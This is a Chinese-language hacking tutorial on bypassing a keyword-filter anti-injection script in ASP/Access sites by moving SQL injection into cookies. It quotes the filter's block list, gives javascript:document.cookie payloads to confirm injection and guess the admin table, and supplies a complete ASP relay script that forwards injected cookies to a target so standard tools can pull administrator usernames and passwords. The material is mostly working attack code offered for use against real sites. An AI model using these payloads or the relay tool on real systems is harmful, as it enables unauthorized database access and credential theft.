最开始的判断access类型的网站注入点可以用“1 and 1=1”来判断。
不过现在的网站基本上被挡住了。之后呢,可以考虑cookie注入。
Dim Tc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh
'定义需要过滤的字串 Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master||or|char|declare" Tc_Inf = split(Tc_In,"|") '处理post数据 If Request.Form<>"" Then For Each Tc_Post In Request.Form For Tc_Xh=0 To Ubound(Tc_Inf) If Instr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0 Then Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>" '处理get数据 If Request.QueryString<>"" Then For Each Tc_Get In Request.QueryString For Tc_Xh=0 To Ubound(Tc_Inf) If Instr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0 Then Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>" 这 段代码把SQL注入中要用到的关键字基本都过滤了,但是作者忽略了一个重要的参数获取方式:cookie!程序只对get和post方式获取的参数进行了 过滤,要是通过cookie提交注入语句一样可以达到目的!因为防注代码的过滤,不能直接用get或者post方式进行注入。那如何进行突破呢?在说明之 前,先了解下request获取变量的方式:request.form获取的是post数据,request.querystring获取的get数 据,request.cookies获取的是cookie中的数据。但是如果是<%id=request("id")%>呢?这个时候程序是 按以下顺序来搜索集合:querystring,form,cookie,servervariable。当发现第一个匹配的变量的时候就认为是要访问的 成员。从上面的分析我们可以得到什么呢?这里既然程序就没有限制参数的来源,我们就不要去通过get的方式提交参数,而是在cookie里面加入参数id 的值,就可以饶过防注入代码的检测了!1、判断注入
javascript:alert(document.cookie="id="+escape("1 and 1=1")); 例: http://xxxx/view.asp?id=1 先访问http://xxxx/view.asp?id=1 接着在浏览器里输入: javascript:alert(document.cookie="id="+escape("1 and 1=1")) 再访问http://xxxx/view.asp(未出错) 再输入:javascript:alert(document.cookie="id="+escape("188 and 1=2")) 再访问:http://xxxx/view.asp(出错)2、猜解表段、字段
javascript:alert(document.cookie="id="+escape("1 and 1=(select count(*) from admin where len(username)>0)")); 剩下的事情就是重复上面的步骤来得到管理员帐户和密码了。-----以下是工具----------
<% cookname=request("jmdcw") cookname=escape(cookname) jmstr="id="&cookname '存在注入的变量 jmstr=replace(jmstr,chr(32),"%20") jmstr=replace(jmstr,chr(43),"%2b")'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的网址 jmref="http://zzz.com/index.asp" '来源地址 jmcok="ASPSESSI"jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref) function postdata(posturl,postcok,postref) dim http set http=server.createobject("msxml2.serverxmlhttp") with http .open "POST",posturl,false .setRequestheader "content-type","application/x-www-form-urlencoded" .setrequestheader "referer",postref .setrequestheader "cookie",postcok '提交cookie值 .send() '发送数据 postdata=.responsebody '得到返回的二进制信息 end with set http=nothing postdata=bytes2BSTR(postdata) '转换二进制流 end functionfunction bytes2BSTR(vin)
dim strReturn dim i,thischarcode,nextcharcode strReturn="" for i=1 to lenB(vin) thischarcode=ascB(midB(vin,1,1)) if thischarcode<&H80 then strReturn=strReturn&chr(thischarcode) else nextcharcode=ascB(midB(vin,1+1,1)) strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode)) i=i+1 end if next bytes2BSTR=strReturn end function %> 保存为jmdcw.asp,最后可以本机装个IIS或绿色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,从此HACKING的道路更宽广了